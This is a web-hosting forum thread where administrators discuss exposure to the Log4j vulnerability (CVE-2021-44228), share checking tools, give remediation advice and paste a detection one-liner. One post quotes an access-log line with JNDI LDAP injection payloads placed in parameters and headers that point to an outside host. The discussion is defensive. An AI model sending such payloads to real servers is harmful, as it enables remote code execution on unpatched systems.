New zero-day exploit for Log4j Java library is an enterprise nightmare

Would love to hear what the experts here say. I"m still running CentOS 6, will have to do some digging...
 
I have concerns to, cpanel already have update for this, and cloudflare have put some auto waf rules to mitigate this problem.

Nothing to do in directadmin?
 
I don't think it's part of a standard install, but I'm no expert. Just ran a "find" for "*log4j*" on my entire server, and nothing turned up. I don't think Java is even running, I can't say I ever noticed a Java process. But obviously, you could have installed it manually.
 
For those who installed on the BOX some themselves or using on other Machines
Here check and tools.

github.com

GitHub - NorthwaveSecurity/log4jcheck: A script that checks for vulnerable Log4j (CVE-2021-44228) systems using injection of the payload in common HTTP headers.

A script that checks for vulnerable Log4j (CVE-2021-44228) systems using injection of the payload in common HTTP headers. - NorthwaveSecurity/log4jcheck
github.com github.com

gist.github.com

Log4j RCE CVE-2021-44228 Exploitation Detection

Log4j RCE CVE-2021-44228 Exploitation Detection. GitHub Gist: instantly share code, notes, and snippets.
gist.github.com gist.github.com

security.stackexchange.com

Does CVE-2021-44228 impact Log4j ports?

Log4j has been ported to other languages, such as log4perl, log4php, log4net, and log4r. Are these ports vulnerable to CVE-2021-44228 as well? I believe that they aren't because the vulnerability u...
security.stackexchange.com security.stackexchange.com

Take care for this!

commented 43 minutes ago​

Remediation by removing JndiLookup.class is safe for all log4j2 version from 2.0.1 and later. The original 2.0 release (and any betas/prereleases) will be broken if you remove JndiLookup.class
Because log4j2 is so ubiquitous, if is often bundled bundled into other jars rather than placed in its own jar which can be identified by filename. It is therefore a good idea to scan all jars for the presence of JndiLookup.class as suggested by @CyberRaiju above
But because it is frequently bundled, if is also frequently very outdated. I heard reports of people that broke installations of applications that bundled log4j2 2.0 by removing JndiLookup.class.
If your jar also contains JndiCloser.class, it is safe to remove JndiLookup.class. If not, this is version 2.0 and you will need some other method of remediation (environment, property or upgrade)
Click to expand...
 
DirectAdmin Sales said:
DirectAdmin does not use Log4j anywhere,
Click to expand...

Not Directadmin, but doesn't apache? Also, why else am I getting these code 200's in apache logs? On the news last night they said it was an apache problem.
Code: 
20.73.161.16 - - [12/Dec/2021:00:23:15 +0100] "POST /?id=%24%7Bjndi%3Aldap%3A%2F%2Fdivd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_id.log4jdns.x00.it%2F%7D&page=%24%7Bjndi%3Aldap%3A%2F%2Fdivd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_page.log4jdns.x00.it%2F%7D&search=%24%7Bjndi%3Aldap%3A%2F%2Fdivd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_search.log4jdns.x00.it%2F%7D HTTP/1.1" 200 24561 "${jndi:ldap://divd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_Referer.log4jdns.x00.it/" "${jndi:ldap://divd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_User-Agent.log4jdns.x00.it/"
So since this gives a 200 result, I hope it's still safe.

Got loads of these kind of lines on our servers, also with 301 but also like this one with code 200.

JndiLookup.class
Click to expand...
Is not found on my servers, I'm glad. :)

I used this code to find if it was being tried on our servers:
Code: 
find /var/log/httpd/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
 
Thank you, I just got a bit worried because I saw a 200 code response on a POST in that log. Phew.. LoL. :D
 
Last edited:
basdv said:
What about this?

This site says Exim is affected by CVE-2021-44228, for the new Log4j issue discovered today (CVE-2021-45046) it's still unknown.
Click to expand...
Full Quoted while no exim version nr there and the link goes at exim part goes to NATS.IO https://advisories.nats.io/statements/log4j

See so if it makes sense then not clear enough:

Exim Affected​


Notified: 2021-12-13 Updated: 2021-12-15


Statement Date: December 14, 2021

CVE-2021-4104Unknown
CVE-2021-44228Affected
CVE-2021-45046Unknown

Vendor Statement​


We have not received a statement from the vendor.

References​


Click to expand...

So hard to find out yes or no in which EXIM and or constillation with that docs?

Do someone knows EXIM does and how things with that NATS.io or is the text there wrong?

If you go to https://nats.io/ you see for example PAYPAL is using this to Who uses NATS

NATS Advisories

Security advisories for the NATS.io project
advisories.nats.io


  • The NATS service is written in Go
  • NATS client libraries are written in a variety of languages, but the core ecosystem is written in Go
  • The direct client library for Java, nats.java, does not use or reference log4j; but like any code which logs in Java, the developer using the library can use injection to setup log4j as the logging framework.
    • By the very design of code injection as a development pattern, this is outside of the control of the NATS Maintainers and all we can do is acknowledge that “someone might have done that”.
  • One repository, the nats-jms-bridge, contains an admin console which transitively depends upon log4j; this admin console is for privileged access.
    • The admin console is not built by default with any particular version of log4j, but the integration test script would set up a classpath which contained a vulnerable version. This has been fixed in PR/290.
Click to expand...
I think / Hope offtopic this:
Updates for the NATS.io if one is interested or want to check NATS JMS/MQ Bridge
github.com

addressing log4 vulnerability by scottf · Pull Request #290 · nats-io/nats-jms-bridge

NATS to JMS Bridge for request/reply. Contribute to nats-io/nats-jms-bridge development by creating an account on GitHub.
github.com github.com
 
Last edited:
Is this log4j issue affect the early Full text search function (Solr + Java + log4j) that listed in this link?

How-to: FTS (full text search) in dovecot using solr

Install java 8 or greater, check with: java -version Install solr: wget -O solr-7.7.0.tgz http://apache.mirror.vu.lt/apache/lucene/solr/7.7.0/solr-7.7.0.tgz tar xzf solr-7.7.0.tgz solr-7.7.0/bin/install_solr_service.sh --strip-components=2 bash install_solr_service.sh solr-7.7.0.tgz su -m solr...
forum.directadmin.com forum.directadmin.com
Thank you very much.
 
my understanding is - By default, DirectAdmin does not ship log4j nor Apache Solr.

However, for dovecot + Solr (self-installed, or follow the guide in the link, or else), it may be affected, you may have a look at
blog.cpanel.com

The Apache Log4j exploit and how to protect your cPanel server | cPanel

On Friday, December 10, 2021, a vulnerability for Log4j was announced in CVE-2021-44228. Log4j is developed by the Apache Foundation and is widely used by both enterprise apps and cloud services. It was reported by Alibaba Cloud’s security team to Apache on November 24. They also revealed that...
blog.cpanel.com blog.cpanel.com
 
Last edited:
You must log in or register to reply here.
Back
Top